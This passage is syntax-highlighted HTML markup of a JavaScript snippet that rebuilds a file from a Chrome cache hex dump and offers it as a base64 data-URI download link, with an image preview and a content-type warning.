</span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">preTags</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">];</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">preWithContent</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">preTags</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">];</span>\n\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">lines</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">preWithContent</span><span class=\"o\">.</span><span class=\"n\">textContent</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"s1\">&#39;</span><span class=\"se\">\\n</span><span class=\"s1\">&#39;</span><span class=\"p\">);</span>\n\n<span class=\"w\">    </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">get</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"w\"> </span><span class=\"n\">about</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">formatting</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">changes</span><span class=\"w\"> </span><span class=\"n\">between</span><span class=\"w\"> </span><span class=\"n\">different</span><span class=\"w\"> </span><span class=\"n\">versions</span><span class=\"w\"> </span><span class=\"n\">of</span><span class=\"w\"> </span><span class=\"n\">chrome</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">rgx</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">/^</span><span class=\"p\">(</span><span class=\"mi\">0</span><span class=\"p\">{</span><span class=\"mi\">8</span><span class=\"p\">}:</span>\\<span class=\"n\">s</span><span class=\"o\">+</span><span class=\"p\">)([</span><span class=\"mi\">0</span><span class=\"o\">-</span><span class=\"mi\">9</span><span class=\"n\">a</span><span class=\"o\">-</span><span class=\"n\">f</span><span class=\"p\">]{</span><span class=\"mi\">2</span><span class=\"p\">}</span>\\<span class=\"n\">s</span><span class=\"o\">+</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"o\">-</span><span class=\"mi\">9</span><span class=\"n\">a</span><span class=\"o\">-</span><span class=\"n\">f</span><span class=\"p\">]{</span><span class=\"mi\">2</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">m</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"k\">match</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">rgx</span><span class=\"o\">.</span><span class=\"n\">exec</span><span class=\"p\">(</span><span class=\"n\">lines</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]);</span>\n\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">text</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"n\">lines</span><span class=\"o\">.</span><span class=\"n\">length</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">line</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">lines</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">];</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">firstIndex</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">match</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">length</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">first</span><span class=\"w\"> </span><span class=\"n\">index</span><span class=\"w\"> </span><span class=\"n\">of</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">chars</span><span class=\"w\"> </span><span class=\"n\">to</span><span class=\"w\"> </span><span class=\"k\">match</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">e</span><span class=\"o\">.</span><span class=\"n\">g</span><span class=\"o\">.</span><span class=\"w\"> </span><span class=\"n\">where</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"s1\">&#39;84&#39;</span><span class=\"w\"> </span><span class=\"n\">would</span><span class=\"w\"> </span><span class=\"n\">start</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">indexJump</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">match</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">length</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">how</span><span class=\"w\"> </span><span class=\"n\">much</span><span class=\"w\"> </span><span class=\"n\">space</span><span class=\"w\"> </span><span class=\"k\">is</span><span class=\"w\"> </span><span class=\"n\">between</span><span class=\"w\"> </span><span class=\"n\">each</span><span class=\"w\"> </span><span class=\"n\">set</span><span class=\"w\"> </span><span class=\"n\">of</span><span class=\"w\"> </span><span class=\"n\">numbers</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">totalCharsPerLine</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">16</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">index</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">firstIndex</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">j</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">j</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"n\">totalCharsPerLine</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">j</span><span class=\"o\">++</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">hexValAsStr</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">line</span><span class=\"o\">.</span><span class=\"n\">substr</span><span class=\"p\">(</span><span class=\"n\">index</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">hexValAsStr</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s1\">&#39;  &#39;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">no</span><span class=\"w\"> </span><span class=\"n\">more</span><span class=\"w\"> </span><span class=\"n\">chars</span>\n<span class=\"w\">                </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n\n<span class=\"w\">            </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">asciiVal</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">parseInt</span><span class=\"p\">(</span><span class=\"n\">hexValAsStr</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">16</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">text</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"nb nb-Type\">String</span><span class=\"o\">.</span><span class=\"n\">fromCharCode</span><span class=\"p\">(</span><span class=\"n\">asciiVal</span><span class=\"p\">);</span>\n\n<span class=\"w\">            </span><span class=\"n\">index</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">indexJump</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">headerText</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">preWithHeaderInfo</span><span class=\"o\">.</span><span class=\"n\">textContent</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">elToInsertBefore</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">body</span><span class=\"o\">.</span><span class=\"n\">childNodes</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">];</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">insertedDiv</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">(</span><span class=\"s2\">&quot;div&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">body</span><span class=\"o\">.</span><span class=\"n\">insertBefore</span><span class=\"p\">(</span><span class=\"n\">insertedDiv</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">elToInsertBefore</span><span class=\"p\">);</span>\n\n<span class=\"w\">    </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">find</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">filename</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">nodes</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">[</span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">body</span><span class=\"p\">];</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">filepath</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"bp\">true</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">node</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">nodes</span><span class=\"o\">.</span><span class=\"n\">pop</span><span class=\"p\">();</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">node</span><span class=\"o\">.</span><span class=\"n\">hasChildNodes</span><span class=\"p\">())</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">children</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">node</span><span class=\"o\">.</span><span class=\"n\">childNodes</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">children</span><span class=\"o\">.</span><span class=\"n\">length</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">--</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">nodes</span><span class=\"o\">.</span><span class=\"n\">push</span><span class=\"p\">(</span><span class=\"n\">children</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">]);</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">node</span><span class=\"o\">.</span><span class=\"n\">nodeType</span><span class=\"w\"> </span><span class=\"o\">===</span><span class=\"w\"> </span><span class=\"n\">Node</span><span class=\"o\">.</span><span class=\"n\">TEXT_NODE</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"o\">/</span>\\<span class=\"n\">S</span><span class=\"o\">/.</span><span class=\"n\">test</span><span class=\"p\">(</span><span class=\"n\">node</span><span class=\"o\">.</span><span class=\"n\">nodeValue</span><span class=\"p\">))</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"n\">st</span><span class=\"w\"> </span><span class=\"n\">depth</span><span class=\"o\">-</span><span class=\"n\">first</span><span class=\"w\"> </span><span class=\"n\">text</span><span class=\"w\"> </span><span class=\"n\">node</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">with</span><span class=\"w\"> </span><span class=\"n\">non</span><span class=\"o\">-</span><span class=\"n\">whitespace</span><span class=\"w\"> </span><span class=\"n\">chars</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">found</span>\n<span class=\"w\">            </span><span class=\"n\">filepath</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">node</span><span class=\"o\">.</span><span class=\"n\">nodeValue</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"n\">outputResults</span><span class=\"p\">(</span><span class=\"n\">insertedDiv</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">convertToBase64</span><span class=\"p\">(</span><span class=\"n\">text</span><span class=\"p\">),</span><span class=\"w\"> </span><span class=\"n\">filepath</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">headerText</span><span class=\"p\">);</span>\n\n<span class=\"w\">    </span><span class=\"n\">insertedDiv</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">(</span><span class=\"s1\">&#39;hr&#39;</span><span class=\"p\">));</span>\n\n<span class=\"w\">    </span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">outputResults</span><span class=\"p\">(</span><span class=\"n\">parentElement</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">fileContents</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">fileUrl</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">headerText</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">last</span><span class=\"w\"> </span><span class=\"n\">updated</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"o\">/</span><span class=\"mi\">27</span><span class=\"o\">/</span><span class=\"mi\">12</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">rgx</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">/.+</span>\\<span class=\"o\">/</span><span class=\"p\">([</span><span class=\"o\">^</span>\\<span class=\"o\">/</span><span class=\"p\">]</span><span class=\"o\">+</span><span class=\"p\">)</span><span class=\"o\">/</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">filename</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">rgx</span><span class=\"o\">.</span><span class=\"n\">exec</span><span class=\"p\">(</span><span class=\"n\">fileUrl</span><span class=\"p\">)[</span><span class=\"mi\">1</span><span class=\"p\">];</span>\n\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">get</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">content</span><span class=\"w\"> </span><span class=\"n\">type</span>\n<span class=\"w\">        </span><span class=\"n\">rgx</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">content</span><span class=\"o\">-</span><span class=\"n\">type</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">.+</span><span class=\"p\">)</span><span class=\"o\">/</span><span class=\"n\">i</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"k\">match</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">rgx</span><span class=\"o\">.</span><span class=\"n\">exec</span><span class=\"p\">(</span><span class=\"n\">headerText</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">contentTypeFound</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">match</span><span class=\"w\"> </span><span class=\"o\">!=</span><span class=\"w\"> </span><span class=\"nb nb-Type\">null</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">contentType</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;text/plain&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">contentTypeFound</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">contentType</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">match</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">];</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">dataUri</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;data:&quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">contentType</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s2\">&quot;;base64,&quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">fileContents</span><span class=\"p\">;</span>\n\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">check</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">gzipped</span><span class=\"w\"> </span><span class=\"n\">file</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">gZipRgx</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">content</span><span class=\"o\">-</span><span class=\"n\">encoding</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">gzip</span><span class=\"o\">/</span><span class=\"n\">i</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">gZipRgx</span><span class=\"o\">.</span><span class=\"n\">test</span><span class=\"p\">(</span><span class=\"n\">headerText</span><span class=\"p\">))</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">filename</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"s1\">&#39;.gz&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">check</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">image</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">imageRgx</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">image</span><span class=\"o\">/</span><span class=\"n\">i</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">isImage</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">imageRgx</span><span class=\"o\">.</span><span class=\"n\">test</span><span class=\"p\">(</span><span class=\"n\">contentType</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">create</span><span class=\"w\"> </span><span class=\"n\">link</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">aTag</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">(</span><span class=\"s1\">&#39;a&#39;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"n\">aTag</span><span class=\"o\">.</span><span class=\"n\">textContent</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;Left-click to download the cached file&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">aTag</span><span class=\"o\">.</span><span class=\"n\">setAttribute</span><span class=\"p\">(</span><span class=\"s1\">&#39;href&#39;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">dataUri</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"n\">aTag</span><span class=\"o\">.</span><span class=\"n\">setAttribute</span><span class=\"p\">(</span><span class=\"s1\">&#39;download&#39;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">filename</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"n\">parentElement</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">aTag</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"n\">parentElement</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">(</span><span class=\"s1\">&#39;br&#39;</span><span class=\"p\">));</span>\n\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">create</span><span class=\"w\"> </span><span class=\"n\">image</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">isImage</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">imgTag</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">(</span><span class=\"s1\">&#39;img&#39;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">imgTag</span><span class=\"o\">.</span><span class=\"n\">setAttribute</span><span class=\"p\">(</span><span class=\"s2\">&quot;src&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">dataUri</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">parentElement</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">imgTag</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">parentElement</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">(</span><span class=\"s1\">&#39;br&#39;</span><span class=\"p\">));</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">create</span><span class=\"w\"> </span><span class=\"n\">warning</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">contentTypeFound</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">pTag</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">(</span><span class=\"s1\">&#39;p&#39;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">pTag</span><span class=\"o\">.</span><span class=\"n\">textContent</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;WARNING: the type of file was not found in the headers... defaulting to text file.&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"n\">parentElement</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">pTag</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">getBase64Char</span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">throw</span><span class=\"w\"> </span><span class=\"s2\">&quot;Invalid number: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">base64Value</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"mi\">25</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">A</span><span class=\"o\">-</span><span class=\"n\">Z</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nb nb-Type\">String</span><span class=\"o\">.</span><span class=\"n\">fromCharCode</span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s2\">&quot;A&quot;</span><span class=\"o\">.</span><span class=\"n\">charCodeAt</span><span class=\"p\">(</span><span class=\"mi\">0</span><span class=\"p\">));</span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"mi\">51</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"o\">-</span><span class=\"n\">z</span>\n<span class=\"w\">            </span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">-=</span><span class=\"w\"> </span><span class=\"mi\">26</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">a</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nb nb-Type\">String</span><span class=\"o\">.</span><span class=\"n\">fromCharCode</span><span class=\"p\">(</span><span class=\"n\">base64Value</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s2\">&quot;a&quot;</span><span class=\"o\">.</span><span class=\"n\">charCodeAt</span><span 